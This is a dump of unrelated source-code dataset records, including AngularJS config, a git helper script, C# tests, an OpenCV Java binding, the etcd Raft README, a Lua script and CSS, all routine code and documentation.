t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tNSObject\n\t\t\t\t\t\n\t\t\t\t\t\tIBFrameworkSource\n\t\t\t\t\t\tUIKit.framework/Headers/UIResponder.h\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tUIResponder\n\t\t\t\t\tNSObject\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tUISearchBar\n\t\t\t\t\tUIView\n\t\t\t\t\t\n\t\t\t\t\t\tIBFrameworkSource\n\t\t\t\t\t\tUIKit.framework/Headers/UISearchBar.h\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tUISearchDisplayController\n\t\t\t\t\tNSObject\n\t\t\t\t\t\n\t\t\t\t\t\tIBFrameworkSource\n\t\t\t\t\t\tUIKit.framework/Headers/UISearchDisplayController.h\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tUIView\n\t\t\t\t\t\n\t\t\t\t\t\tIBFrameworkSource\n\t\t\t\t\t\tUIKit.framework/Headers/UITextField.h\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tUIView\n\t\t\t\t\tUIResponder\n\t\t\t\t\t\n\t\t\t\t\t\tIBFrameworkSource\n\t\t\t\t\t\tUIKit.framework/Headers/UIView.h\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tUIViewController\n\t\t\t\t\t\n\t\t\t\t\t\tIBFrameworkSource\n\t\t\t\t\t\tUIKit.framework/Headers/UINavigationController.h\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tUIViewController\n\t\t\t\t\t\n\t\t\t\t\t\tIBFrameworkSource\n\t\t\t\t\t\tUIKit.framework/Headers/UIPopoverController.h\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tUIViewController\n\t\t\t\t\t\n\t\t\t\t\t\tIBFrameworkSource\n\t\t\t\t\t\tUIKit.framework/Headers/UISplitViewController.h\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tUIViewController\n\t\t\t\t\t\n\t\t\t\t\t\tIBFrameworkSource\n\t\t\t\t\t\tUIKit.framework/Headers/UITabBarController.h\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tUIViewController\n\t\t\t\t\tUIResponder\n\t\t\t\t\t\n\t\t\t\t\t\tIBFrameworkSource\n\t\t\t\t\t\tUIKit.framework/Headers/UIViewController.h\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\n\t\t0\n\t\tIBIPadFramework\n\t\t\n\t\t\tcom.apple.InterfaceBuilder.CocoaTouchPlugin.iPhoneOS\n\t\t\t\n\t\t\n\t\t\n\t\t\tcom.apple.InterfaceBuilder.CocoaTouchPlugin.InterfaceBuilder3\n\t\t\t\n\t\t\n\t\tYES\n\t\tDisplaying Pins with Different Colors on a Map View.xcodeproj\n\t\t3\n\t\t82\n\t\n\n"} -{"text": "angular.module('app')\n /**\n * jQuery plugin config use ui-jq directive , config the js and css files that required\n * key: function name of the jQuery plugin\n * value: array of the css js file located\n */\n .constant('JQ_CONFIG', {\n slimScroll: ['../vendor/jquery/slimscroll/jquery.slimscroll.min.js'],\n sortable: ['../vendor/jquery/sortable/jquery.sortable.js'],\n nestable: ['../vendor/jquery/nestable/jquery.nestable.js',\n '../vendor/jquery/nestable/nestable.css'],\n filestyle: ['../vendor/jquery/file/bootstrap-filestyle.min.js'],\n slider: ['../vendor/jquery/slider/bootstrap-slider.js',\n '../vendor/jquery/slider/slider.css'],\n chosen: ['../vendor/jquery/chosen/chosen.jquery.min.js',\n '../vendor/jquery/chosen/chosen.css'],\n TouchSpin: ['../vendor/jquery/spinner/jquery.bootstrap-touchspin.min.js',\n '../vendor/jquery/spinner/jquery.bootstrap-touchspin.css'],\n wysiwyg: ['../vendor/jquery/wysiwyg/bootstrap-wysiwyg.js',\n '../vendor/jquery/wysiwyg/jquery.hotkeys.js'],\n dataTable: ['../vendor/jquery/datatables/jquery.dataTables.min.js',\n '../vendor/jquery/datatables/dataTables.bootstrap.js',\n '../vendor/jquery/datatables/dataTables.bootstrap.css'],\n vectorMap: ['../vendor/jquery/jvectormap/jquery-jvectormap.min.js',\n '../vendor/jquery/jvectormap/jquery-jvectormap-world-mill-en.js',\n '../vendor/jquery/jvectormap/jquery-jvectormap-us-aea-en.js',\n '../vendor/jquery/jvectormap/jquery-jvectormap.css'],\n footable: ['../vendor/jquery/footable/footable.all.min.js',\n '../vendor/jquery/footable/footable.core.css']\n }\n )\n // oclazyload config\n .config(['$ocLazyLoadProvider', function($ocLazyLoadProvider) {\n // We configure ocLazyLoad to use the lib script.js as the async loader\n $ocLazyLoadProvider.config({\n debug: false,\n events: true,\n modules: [\n {\n name: 'ngGrid',\n files: [\n '../vendor/modules/ng-grid/ng-grid.min.js',\n '../vendor/modules/ng-grid/ng-grid.min.css',\n '../vendor/modules/ng-grid/theme.css'\n ]\n },\n {\n name: 'ui.select',\n files: [\n '../vendor/modules/angular-ui-select/select.min.js',\n '../vendor/modules/angular-ui-select/select.min.css'\n ]\n },\n {\n name:'angularFileUpload',\n files: [\n '../vendor/modules/angular-file-upload/angular-file-upload.min.js'\n ]\n },\n {\n name:'ui.calendar',\n files: ['../vendor/modules/angular-ui-calendar/calendar.js']\n },\n {\n name: 'ngImgCrop',\n files: [\n '../vendor/modules/ngImgCrop/ng-img-crop.js',\n '../vendor/modules/ngImgCrop/ng-img-crop.css'\n ]\n },\n {\n name: 'angularBootstrapNavTree',\n files: [\n '../vendor/modules/angular-bootstrap-nav-tree/abn_tree_directive.js',\n '../vendor/modules/angular-bootstrap-nav-tree/abn_tree.css'\n ]\n },\n {\n name: 'toaster',\n files: [\n '../vendor/modules/angularjs-toaster/toaster.js',\n '../vendor/modules/angularjs-toaster/toaster.css'\n ]\n },\n {\n name: 'textAngular',\n files: [\n '../vendor/modules/textAngular/textAngular-sanitize.min.js',\n '../vendor/modules/textAngular/textAngular.min.js'\n ]\n },\n {\n name: 'vr.directives.slider',\n files: [\n '../vendor/modules/angular-slider/angular-slider.min.js',\n '../vendor/modules/angular-slider/angular-slider.css'\n ]\n },\n {\n name: 'com.2fdevs.videogular',\n files: [\n '../vendor/modules/videogular/videogular.min.js'\n ]\n },\n {\n name: 'com.2fdevs.videogular.plugins.controls',\n files: [\n '../vendor/modules/videogular/plugins/controls.min.js'\n ]\n },\n {\n name: 'com.2fdevs.videogular.plugins.buffering',\n files: [\n '../vendor/modules/videogular/plugins/buffering.min.js'\n ]\n },\n {\n name: 'com.2fdevs.videogular.plugins.overlayplay',\n files: [\n '../vendor/modules/videogular/plugins/overlay-play.min.js'\n ]\n },\n {\n name: 'com.2fdevs.videogular.plugins.poster',\n files: [\n '../vendor/modules/videogular/plugins/poster.min.js'\n ]\n },\n {\n name: 'com.2fdevs.videogular.plugins.imaads',\n files: [\n '../vendor/modules/videogular/plugins/ima-ads.min.js'\n ]\n }\n ]\n });\n }])\n;"} -{"text": "{% comment %}\nLoops through all reviewer, translator, and translation editor data to create an acknowledgement sentence. This is used both on project-team.md as well as es/equipo-de-proyecto.md\n{% endcomment %}\n\n{% assign alllessons = site.pages | where: \"lesson\" , \"true\" %}\n\n{% assign reviewers = alllessons | map: \"reviewers\" %}\n{% assign editors = alllessons | map: \"editors\" %}\n{% assign translators = alllessons | map: \"translator\" %}\n{% assign translation_editors = alllessons | map: \"translation-editors\" %}\n{% assign translation_reviewers = alllessons | map: \"translation-reviewer\" %}\n\n{% assign allpersons = reviewers | concat: editors | concat: translators | concat: translation_editors | concat: translation_reviewers %}\n\n{% assign contributors = allpersons | compact | uniq %}\n\n{{ contributors | join: \", \" }},"} -{"text": "#!/bin/sh\n\n# Window only\n# Win\u4f7f\u7528\u547d\u4ee4 start [name].sh \u5373\u53ef\u8fd0\u884c\u6b64\u811a\u672c\uff0c\u6216\u53cc\u51fb\u811a\u672c\u4ea6\u53ef\n\ndate +\"%Y-%m-%d %H:%M:%S\"\" ------ git add .\"\ngit add ../\n\ndate +\"%Y-%m-%d %H:%M:%S\"\" ------ git commit\"\necho -n \"\u8bf7\u586b\u5199commit\uff08\u53ef\u7a7a\uff09\"\nread remarks\nif [ ! -n \"$remarks\" ];then\n\tremarks=`date +%Y-%m-%d\" \"%H:%M:%S`\nfi\ngit commit -m \"$remarks\"\n\ndate +\"%Y-%m-%d %H:%M:%S\"\" ------ git pull\"\ngit pull\n\ndate +\"%Y-%m-%d %H:%M:%S\"\" ------ \u8bf7\u81ea\u884c\u6267\u884c git push\"\n# git push\n\nexec /bin/bash\n"} -{"text": "#!/usr/bin/env python3\n##########################################################################################\n# Author: Jared L. Ostmeyer\n# Date Started: 2017-01-01\n# Purpose: Load dataset and create interfaces for piping the data to the model\n##########################################################################################\n\n##########################################################################################\n# Libraries\n##########################################################################################\n\nimport numpy as np\n\n##########################################################################################\n# Class definitions\n##########################################################################################\n\n# Defines interface between the data and model\n#\nclass Dataset:\n\tdef __init__(self, xs, ls, ys):\n\t\tself.xs = xs\t# Store the features\n\t\tself.ls = ls\t# Store the length of each sequence\n\t\tself.ys = ys\t# Store the labels\n\t\tself.num_samples = len(ys)\n\t\tself.num_features = len(xs[0,0,:])\n\t\tself.max_length = len(xs[0,:,0])\n\t\tself.num_classes = 1\n\tdef batch(self, batch_size):\n\t\tjs = np.random.randint(0, self.num_samples, batch_size)\n\t\treturn self.xs[js,:,:], self.ls[js], self.ys[js]\n\n##########################################################################################\n# Import dataset\n##########################################################################################\n\n# Load data\n#\nimport sys\nsys.path.append('../dataset')\nimport input_data\n\n# Create split of data\n#\ntrain = Dataset(input_data.xs_train, input_data.ls_train, input_data.ys_train)\ntest = Dataset(input_data.xs_test, input_data.ls_test, input_data.ys_test)\n\n"} -{"text": "\ufeffusing System.Collections.Generic;\nusing System.Linq;\n\nusing Shouldly;\n\nusing Stove.Linq.Extensions;\n\nusing Xunit;\n\nnamespace Stove.Tests.Linq.Extensions\n{\n public class QueryableExtensionsTests\n {\n [Fact]\n public void PageBy_with_skip_and_maxresultcount_should_work()\n {\n var products = new List\n {\n new Product { Name = \"Oguzhan\" },\n new Product { Name = \"Soykan\" }\n };\n\n IQueryable productsQueryable = products.AsQueryable();\n\n IQueryable pagedQueryable = productsQueryable.PageBy(0, 2);\n\n pagedQueryable.ToList().Count.ShouldBe(2);\n }\n\n [Fact]\n public void WhereIf_should_work()\n {\n var products = new List\n {\n new Product { Name = \"Oguzhan\" },\n new Product { Name = \"Soykan\" }\n };\n\n IQueryable productsQueryable = products.AsQueryable();\n\n IQueryable pagedQueryable = productsQueryable.WhereIf(products.Count == 2, (product, i) => product.Name == \"Oguzhan\");\n\n pagedQueryable.ToList().Count.ShouldBe(1);\n }\n\n [Fact]\n public void WhereIf_should_wor2k()\n {\n var products = new List\n {\n new Product { Name = \"Oguzhan\" },\n new Product { Name = \"Soykan\" }\n };\n\n IQueryable productsQueryable = products.AsQueryable();\n\n IQueryable pagedQueryable = productsQueryable.WhereIf(products.Count == 2, product => product.Name == \"Oguzhan\");\n\n pagedQueryable.ToList().Count.ShouldBe(1);\n }\n\n private class Product\n {\n public string Name { get; set; }\n }\n }\n}\n"} -{"text": "/* tslint:disable max-line-length */\nexport const c3notifies = [\n {\n id: 'notify-test-1',\n type: 'info',\n title: 'title test 1',\n message: 'info test 1'\n },\n {\n id: 'notify-test-2',\n type: 'info',\n message: 'info test 2'\n },\n {\n id: 'notify-test-3',\n type: 'error',\n title: 'title test 3',\n message: 'error, test 3'\n },\n {\n id: 'notify-test-4',\n type: 'error',\n message: 'error, test 4'\n }\n];\n"} -{"text": "//\n// This file is auto-generated. Please don't modify it!\n//\npackage org.opencv.aruco;\n\nimport org.opencv.aruco.Dictionary;\nimport org.opencv.core.Mat;\n\n// C++: class Dictionary\n/**\n * Dictionary/Set of markers. It contains the inner codification\n *\n * bytesList contains the marker codewords where\n * - bytesList.rows is the dictionary size\n * - each marker is encoded using {@code nbytes = ceil(markerSize*markerSize/8.)}\n * - each row contains all 4 rotations of the marker, so its length is {@code 4*nbytes}\n *\n * {@code bytesList.ptr(i)[k*nbytes + j]} is then the j-th byte of i-th marker, in its k-th rotation.\n */\npublic class Dictionary {\n\n protected final long nativeObj;\n protected Dictionary(long addr) { nativeObj = addr; }\n\n public long getNativeObjAddr() { return nativeObj; }\n\n // internal usage only\n public static Dictionary __fromPtr__(long addr) { return new Dictionary(addr); }\n\n //\n // C++: static Mat cv::aruco::Dictionary::getBitsFromByteList(Mat byteList, int markerSize)\n //\n\n /**\n * Transform list of bytes to matrix of bits\n * @param byteList automatically generated\n * @param markerSize automatically generated\n * @return automatically generated\n */\n public static Mat getBitsFromByteList(Mat byteList, int markerSize) {\n return new Mat(getBitsFromByteList_0(byteList.nativeObj, markerSize));\n }\n\n\n //\n // C++: static Mat cv::aruco::Dictionary::getByteListFromBits(Mat bits)\n //\n\n /**\n * Transform matrix of bits to list of bytes in the 4 rotations\n * @param bits automatically generated\n * @return automatically generated\n */\n public static Mat getByteListFromBits(Mat bits) {\n return new Mat(getByteListFromBits_0(bits.nativeObj));\n }\n\n\n //\n // C++: static Ptr_Dictionary cv::aruco::Dictionary::create(int nMarkers, int markerSize, Ptr_Dictionary baseDictionary, int randomSeed = 0)\n //\n\n /**\n * SEE: generateCustomDictionary\n * @param nMarkers automatically generated\n * @param markerSize automatically generated\n * @param baseDictionary automatically generated\n * @param randomSeed automatically generated\n * @return automatically generated\n */\n public static Dictionary create_from(int nMarkers, int markerSize, Dictionary baseDictionary, int randomSeed) {\n return Dictionary.__fromPtr__(create_from_0(nMarkers, markerSize, baseDictionary.getNativeObjAddr(), randomSeed));\n }\n\n /**\n * SEE: generateCustomDictionary\n * @param nMarkers automatically generated\n * @param markerSize automatically generated\n * @param baseDictionary automatically generated\n * @return automatically generated\n */\n public static Dictionary create_from(int nMarkers, int markerSize, Dictionary baseDictionary) {\n return Dictionary.__fromPtr__(create_from_1(nMarkers, markerSize, baseDictionary.getNativeObjAddr()));\n }\n\n\n //\n // C++: static Ptr_Dictionary cv::aruco::Dictionary::create(int nMarkers, int markerSize, int randomSeed = 0)\n //\n\n /**\n * SEE: generateCustomDictionary\n * @param nMarkers automatically generated\n * @param markerSize automatically generated\n * @param randomSeed automatically generated\n * @return automatically generated\n */\n public static Dictionary create(int nMarkers, int markerSize, int randomSeed) {\n return Dictionary.__fromPtr__(create_0(nMarkers, markerSize, randomSeed));\n }\n\n /**\n * SEE: generateCustomDictionary\n * @param nMarkers automatically generated\n * @param markerSize automatically generated\n * @return automatically generated\n */\n public static Dictionary create(int nMarkers, int markerSize) {\n return Dictionary.__fromPtr__(create_1(nMarkers, markerSize));\n }\n\n\n //\n // C++: static Ptr_Dictionary cv::aruco::Dictionary::get(int dict)\n //\n\n /**\n * SEE: getPredefinedDictionary\n * @param dict automatically generated\n * @return automatically generated\n */\n public static Dictionary get(int dict) {\n return Dictionary.__fromPtr__(get_0(dict));\n }\n\n\n //\n // C++: void cv::aruco::Dictionary::drawMarker(int id, int sidePixels, Mat& _img, int borderBits = 1)\n //\n\n /**\n * Draw a canonical marker image\n * @param id automatically generated\n * @param sidePixels automatically generated\n * @param _img automatically generated\n * @param borderBits automatically generated\n */\n public void drawMarker(int id, int sidePixels, Mat _img, int borderBits) {\n drawMarker_0(nativeObj, id, sidePixels, _img.nativeObj, borderBits);\n }\n\n /**\n * Draw a canonical marker image\n * @param id automatically generated\n * @param sidePixels automatically generated\n * @param _img automatically generated\n */\n public void drawMarker(int id, int sidePixels, Mat _img) {\n drawMarker_1(nativeObj, id, sidePixels, _img.nativeObj);\n }\n\n\n //\n // C++: Mat Dictionary::bytesList\n //\n\n public Mat get_bytesList() {\n return new Mat(get_bytesList_0(nativeObj));\n }\n\n\n //\n // C++: void Dictionary::bytesList\n //\n\n public void set_bytesList(Mat bytesList) {\n set_bytesList_0(nativeObj, bytesList.nativeObj);\n }\n\n\n //\n // C++: int Dictionary::markerSize\n //\n\n public int get_markerSize() {\n return get_markerSize_0(nativeObj);\n }\n\n\n //\n // C++: void Dictionary::markerSize\n //\n\n public void set_markerSize(int markerSize) {\n set_markerSize_0(nativeObj, markerSize);\n }\n\n\n //\n // C++: int Dictionary::maxCorrectionBits\n //\n\n public int get_maxCorrectionBits() {\n return get_maxCorrectionBits_0(nativeObj);\n }\n\n\n //\n // C++: void Dictionary::maxCorrectionBits\n //\n\n public void set_maxCorrectionBits(int maxCorrectionBits) {\n set_maxCorrectionBits_0(nativeObj, maxCorrectionBits);\n }\n\n\n @Override\n protected void finalize() throws Throwable {\n delete(nativeObj);\n }\n\n\n\n // C++: static Mat cv::aruco::Dictionary::getBitsFromByteList(Mat byteList, int markerSize)\n private static native long getBitsFromByteList_0(long byteList_nativeObj, int markerSize);\n\n // C++: static Mat cv::aruco::Dictionary::getByteListFromBits(Mat bits)\n private static native long getByteListFromBits_0(long bits_nativeObj);\n\n // C++: static Ptr_Dictionary cv::aruco::Dictionary::create(int nMarkers, int markerSize, Ptr_Dictionary baseDictionary, int randomSeed = 0)\n private static native long create_from_0(int nMarkers, int markerSize, long baseDictionary_nativeObj, int randomSeed);\n private static native long create_from_1(int nMarkers, int markerSize, long baseDictionary_nativeObj);\n\n // C++: static Ptr_Dictionary cv::aruco::Dictionary::create(int nMarkers, int markerSize, int randomSeed = 0)\n private static native long create_0(int nMarkers, int markerSize, int randomSeed);\n private static native long create_1(int nMarkers, int markerSize);\n\n // C++: static Ptr_Dictionary cv::aruco::Dictionary::get(int dict)\n private static native long get_0(int dict);\n\n // C++: void cv::aruco::Dictionary::drawMarker(int id, int sidePixels, Mat& _img, int borderBits = 1)\n private static native void drawMarker_0(long nativeObj, int id, int sidePixels, long _img_nativeObj, int borderBits);\n private static native void drawMarker_1(long nativeObj, int id, int sidePixels, long _img_nativeObj);\n\n // C++: Mat Dictionary::bytesList\n private static native long get_bytesList_0(long nativeObj);\n\n // C++: void Dictionary::bytesList\n private static native void set_bytesList_0(long nativeObj, long bytesList_nativeObj);\n\n // C++: int Dictionary::markerSize\n private static native int get_markerSize_0(long nativeObj);\n\n // C++: void Dictionary::markerSize\n private static native void set_markerSize_0(long nativeObj, int markerSize);\n\n // C++: int Dictionary::maxCorrectionBits\n private static native int get_maxCorrectionBits_0(long nativeObj);\n\n // C++: void Dictionary::maxCorrectionBits\n private static native void set_maxCorrectionBits_0(long nativeObj, int maxCorrectionBits);\n\n // native support for java finalize()\n private static native void delete(long nativeObj);\n\n}\n"} -{"text": "# Raft library\n\nRaft is a protocol with which a cluster of nodes can maintain a replicated state machine.\nThe state machine is kept in sync through the use of a replicated log.\nFor more details on Raft, see \"In Search of an Understandable Consensus Algorithm\"\n(https://raft.github.io/raft.pdf) by Diego Ongaro and John Ousterhout.\n\nThis Raft library is stable and feature complete. As of 2016, it is **the most widely used** Raft library in production, serving tens of thousands clusters each day. It powers distributed systems such as etcd, Kubernetes, Docker Swarm, Cloud Foundry Diego, CockroachDB, TiDB, Project Calico, Flannel, and more.\n\nMost Raft implementations have a monolithic design, including storage handling, messaging serialization, and network transport. This library instead follows a minimalistic design philosophy by only implementing the core raft algorithm. This minimalism buys flexibility, determinism, and performance.\n\nTo keep the codebase small as well as provide flexibility, the library only implements the Raft algorithm; both network and disk IO are left to the user. Library users must implement their own transportation layer for message passing between Raft peers over the wire. Similarly, users must implement their own storage layer to persist the Raft log and state.\n\nIn order to easily test the Raft library, its behavior should be deterministic. To achieve this determinism, the library models Raft as a state machine. The state machine takes a `Message` as input. A message can either be a local timer update or a network message sent from a remote peer. The state machine's output is a 3-tuple `{[]Messages, []LogEntries, NextState}` consisting of an array of `Messages`, `log entries`, and `Raft state changes`. For state machines with the same state, the same state machine input should always generate the same state machine output.\n\nA simple example application, _raftexample_, is also available to help illustrate how to use this package in practice: https://github.com/etcd-io/etcd/tree/master/contrib/raftexample\n\n# Features\n\nThis raft implementation is a full feature implementation of Raft protocol. Features includes:\n\n- Leader election\n- Log replication\n- Log compaction\n- Membership changes\n- Leadership transfer extension\n- Efficient linearizable read-only queries served by both the leader and followers\n - leader checks with quorum and bypasses Raft log before processing read-only queries\n - followers asks leader to get a safe read index before processing read-only queries\n- More efficient lease-based linearizable read-only queries served by both the leader and followers\n - leader bypasses Raft log and processing read-only queries locally\n - followers asks leader to get a safe read index before processing read-only queries\n - this approach relies on the clock of the all the machines in raft group\n\nThis raft implementation also includes a few optional enhancements:\n\n- Optimistic pipelining to reduce log replication latency\n- Flow control for log replication\n- Batching Raft messages to reduce synchronized network I/O calls\n- Batching log entries to reduce disk synchronized I/O\n- Writing to leader's disk in parallel\n- Internal proposal redirection from followers to leader\n- Automatic stepping down when the leader loses quorum\n- Protection against unbounded log growth when quorum is lost\n\n## Notable Users\n\n- [cockroachdb](https://github.com/cockroachdb/cockroach) A Scalable, Survivable, Strongly-Consistent SQL Database\n- [dgraph](https://github.com/dgraph-io/dgraph) A Scalable, Distributed, Low Latency, High Throughput Graph Database\n- [etcd](https://github.com/etcd-io/etcd) A distributed reliable key-value store\n- [tikv](https://github.com/pingcap/tikv) A Distributed transactional key value database powered by Rust and Raft\n- [swarmkit](https://github.com/docker/swarmkit) A toolkit for orchestrating distributed systems at any scale.\n- [chain core](https://github.com/chain/chain) Software for operating permissioned, multi-asset blockchain networks\n\n## Usage\n\nThe primary object in raft is a Node. Either start a Node from scratch using raft.StartNode or start a Node from some initial state using raft.RestartNode.\n\nTo start a three-node cluster\n```go\n storage := raft.NewMemoryStorage()\n c := &Config{\n ID: 0x01,\n ElectionTick: 10,\n HeartbeatTick: 1,\n Storage: storage,\n MaxSizePerMsg: 4096,\n MaxInflightMsgs: 256,\n }\n // Set peer list to the other nodes in the cluster.\n // Note that they need to be started separately as well.\n n := raft.StartNode(c, []raft.Peer{{ID: 0x02}, {ID: 0x03}})\n```\n\nStart a single node cluster, like so:\n```go\n // Create storage and config as shown above.\n // Set peer list to itself, so this node can become the leader of this single-node cluster.\n peers := []raft.Peer{{ID: 0x01}}\n n := raft.StartNode(c, peers)\n```\n\nTo allow a new node to join this cluster, do not pass in any peers. First, add the node to the existing cluster by calling `ProposeConfChange` on any existing node inside the cluster. Then, start the node with an empty peer list, like so:\n```go\n // Create storage and config as shown above.\n n := raft.StartNode(c, nil)\n```\n\nTo restart a node from previous state:\n```go\n storage := raft.NewMemoryStorage()\n\n // Recover the in-memory storage from persistent snapshot, state and entries.\n storage.ApplySnapshot(snapshot)\n storage.SetHardState(state)\n storage.Append(entries)\n\n c := &Config{\n ID: 0x01,\n ElectionTick: 10,\n HeartbeatTick: 1,\n Storage: storage,\n MaxSizePerMsg: 4096,\n MaxInflightMsgs: 256,\n }\n\n // Restart raft without peer information.\n // Peer information is already included in the storage.\n n := raft.RestartNode(c)\n```\n\nAfter creating a Node, the user has a few responsibilities:\n\nFirst, read from the Node.Ready() channel and process the updates it contains. These steps may be performed in parallel, except as noted in step 2.\n\n1. Write Entries, HardState and Snapshot to persistent storage in order, i.e. Entries first, then HardState and Snapshot if they are not empty. If persistent storage supports atomic writes then all of them can be written together. Note that when writing an Entry with Index i, any previously-persisted entries with Index >= i must be discarded.\n\n2. Send all Messages to the nodes named in the To field. It is important that no messages be sent until the latest HardState has been persisted to disk, and all Entries written by any previous Ready batch (Messages may be sent while entries from the same batch are being persisted). To reduce the I/O latency, an optimization can be applied to make leader write to disk in parallel with its followers (as explained at section 10.2.1 in Raft thesis). If any Message has type MsgSnap, call Node.ReportSnapshot() after it has been sent (these messages may be large). Note: Marshalling messages is not thread-safe; it is important to make sure that no new entries are persisted while marshalling. The easiest way to achieve this is to serialise the messages directly inside the main raft loop.\n\n3. Apply Snapshot (if any) and CommittedEntries to the state machine. If any committed Entry has Type EntryConfChange, call Node.ApplyConfChange() to apply it to the node. The configuration change may be cancelled at this point by setting the NodeID field to zero before calling ApplyConfChange (but ApplyConfChange must be called one way or the other, and the decision to cancel must be based solely on the state machine and not external information such as the observed health of the node).\n\n4. Call Node.Advance() to signal readiness for the next batch of updates. This may be done at any time after step 1, although all updates must be processed in the order they were returned by Ready.\n\nSecond, all persisted log entries must be made available via an implementation of the Storage interface. The provided MemoryStorage type can be used for this (if repopulating its state upon a restart), or a custom disk-backed implementation can be supplied.\n\nThird, after receiving a message from another node, pass it to Node.Step:\n\n```go\n\tfunc recvRaftRPC(ctx context.Context, m raftpb.Message) {\n\t\tn.Step(ctx, m)\n\t}\n```\n\nFinally, call `Node.Tick()` at regular intervals (probably via a `time.Ticker`). Raft has two important timeouts: heartbeat and the election timeout. However, internally to the raft package time is represented by an abstract \"tick\".\n\nThe total state machine handling loop will look something like this:\n\n```go\n for {\n select {\n case <-s.Ticker:\n n.Tick()\n case rd := <-s.Node.Ready():\n saveToStorage(rd.HardState, rd.Entries, rd.Snapshot)\n send(rd.Messages)\n if !raft.IsEmptySnap(rd.Snapshot) {\n processSnapshot(rd.Snapshot)\n }\n for _, entry := range rd.CommittedEntries {\n process(entry)\n if entry.Type == raftpb.EntryConfChange {\n var cc raftpb.ConfChange\n cc.Unmarshal(entry.Data)\n s.Node.ApplyConfChange(cc)\n }\n }\n s.Node.Advance()\n case <-s.done:\n return\n }\n }\n```\n\nTo propose changes to the state machine from the node to take application data, serialize it into a byte slice and call:\n\n```go\n\tn.Propose(ctx, data)\n```\n\nIf the proposal is committed, data will appear in committed entries with type raftpb.EntryNormal. There is no guarantee that a proposed command will be committed; the command may have to be reproposed after a timeout.\n\nTo add or remove node in a cluster, build ConfChange struct 'cc' and call:\n\n```go\n\tn.ProposeConfChange(ctx, cc)\n```\n\nAfter config change is committed, some committed entry with type raftpb.EntryConfChange will be returned. This must be applied to node through:\n\n```go\n\tvar cc raftpb.ConfChange\n\tcc.Unmarshal(data)\n\tn.ApplyConfChange(cc)\n```\n\nNote: An ID represents a unique node in a cluster for all time. A\ngiven ID MUST be used only once even if the old node has been removed.\nThis means that for example IP addresses make poor node IDs since they\nmay be reused. Node IDs must be non-zero.\n\n## Implementation notes\n\nThis implementation is up to date with the final Raft thesis (https://github.com/ongardie/dissertation/blob/master/stanford.pdf), although this implementation of the membership change protocol differs somewhat from that described in chapter 4. The key invariant that membership changes happen one node at a time is preserved, but in our implementation the membership change takes effect when its entry is applied, not when it is added to the log (so the entry is committed under the old membership instead of the new). This is equivalent in terms of safety, since the old and new configurations are guaranteed to overlap.\n\nTo ensure there is no attempt to commit two membership changes at once by matching log positions (which would be unsafe since they should have different quorum requirements), any proposed membership change is simply disallowed while any uncommitted change appears in the leader's log.\n\nThis approach introduces a problem when removing a member from a two-member cluster: If one of the members dies before the other one receives the commit of the confchange entry, then the member cannot be removed any more since the cluster cannot make progress. For this reason it is highly recommended to use three or more nodes in every cluster.\n"} -{"text": "local component = require(\"component\")\nlocal shell = require(\"shell\")\nlocal term = require(\"term\")\n\nlocal args = shell.parse(...)\nif #args == 0 then\n local w, h = component.gpu.getResolution()\n io.write(w .. \" \" .. h)\n return\nend\n\nif #args < 2 then\n io.write(\"Usage: resolution [ ]\")\n return\nend\n\nlocal w = tonumber(args[1])\nlocal h = tonumber(args[2])\nif not w or not h then\n io.stderr:write(\"invalid width or height\")\n return\nend\n\nio.write(\"\\x1b9\" .. h .. \";\" .. w .. \"R\")\nterm.clear()\n"} -{"text": "/* This is a compiled file, you should be editing the file in the templates directory */\n.pace {\n -webkit-pointer-events: none;\n pointer-events: none;\n -webkit-user-select: none;\n -moz-user-select: none;\n user-select: none;\n}\n\n.pace-inactive {\n display: none;\n}\n\n.pace .pace-progress {\n background: #e90f92;\n position: fixed;\n z-index: 2000;\n top: 0;\n right: 100%;\n width: 100%;\n height: 2px;\n}\n\n.pace .pace-progress-inner {\n display: block;\n position: absolute;\n right: 0px;\n width: 100px;\n height: 100%;\n box-shadow: 0 0 10px #e90f92, 0 0 5px #e90f92;\n opacity: 1.0;\n -webkit-transform: rotate(3deg) translate(0px, -4px);\n -moz-transform: rotate(3deg) translate(0px, -4px);\n -ms-transform: rotate(3deg) translate(0px, -4px);\n -o-transform: rotate(3deg) translate(0px, -4px);\n transform: rotate(3deg) translate(0px, -4px);\n}\n\n.pace .pace-activity {\n display: block;\n position: fixed;\n z-index: 2000;\n top: 15px;\n right: 15px;\n width: 14px;\n height: 14px;\n border: solid 2px transparent;\n border-top-color: #e90f92;\n border-left-color: #e90f92;\n border-radius: 10px;\n -webkit-animation: pace-spinner 400ms linear infinite;\n -moz-animation: pace-spinner 400ms linear infinite;\n -ms-animation: pace-spinner 400ms linear infinite;\n -o-animation: pace-spinner 400ms linear infinite;\n animation: pace-spinner 400ms linear infinite;\n}\n\n@-webkit-keyframes pace-spinner {\n 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); }\n 100% { -webkit-transform: rotate(360deg); transform: rotate(360deg); }\n}\n@-moz-keyframes pace-spinner {\n 0% { -moz-transform: rotate(0deg); transform: rotate(0deg); }\n 100% { -moz-transform: rotate(360deg); transform: rotate(360deg); }\n}\n@-o-keyframes pace-spinner {\n 0% { -o-transform: rotate(0deg); transform: rotate(0deg); }\n 100% { -o-transform: rotate(360deg); transform: rotate(360deg); }\n}\n@-ms-keyframes pace-spinner {\n 0% { -ms-transform: rotate(0deg); transform: rotate(0deg); }\n 100% { -ms-transform: rotate(360deg); transform: rotate(360deg); }\n}\n@keyframes pace-spinner {\n 0% { transform: rotate(0deg); transform: rotate(0deg); }\n 100% { transform: rotate(360deg); transform: rotate(360deg); }\n}\n"} -{"text": "# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# 